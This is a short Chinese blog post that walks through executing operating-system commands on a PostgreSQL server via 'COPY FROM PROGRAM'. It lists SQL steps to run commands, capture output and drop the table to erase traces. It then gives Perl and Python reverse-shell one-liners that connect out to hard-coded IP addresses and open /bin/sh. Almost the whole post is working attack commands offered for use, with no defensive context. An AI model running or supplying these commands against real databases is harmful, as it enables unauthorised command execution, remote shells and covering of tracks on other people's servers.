Postgresql 代码执行

2019年9月23日11:46:47 评论 223

[可选]删除你想用来保存命令输出但是可能存在的表

DROP TABLE IF EXISTS cmd_exec

创建你用来保存命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_exec FROM PROGRAM 'id'

[可选]查看执行结果

SELECT * FROM cmd_exec

[可选]清除痕迹

DROP TABLE IF EXISTS cmd_exec;

需要说明的是,命令中的任何单引号都必须通过双引号来转义它们,比如你想执行下面命令:

<code>echo 'hello';</code>

你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:

'echo "hello";'

在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,/"192.168.0.104:80/");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

Python版本

COPY files FROM PROGRAM 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((/"192.168.31.41/",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/"/bin/sh/",/"-i/"]);"'

本文来自OnionT@killboy 原文链接http://www.oniont.cn/index.php/archives/223.html

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: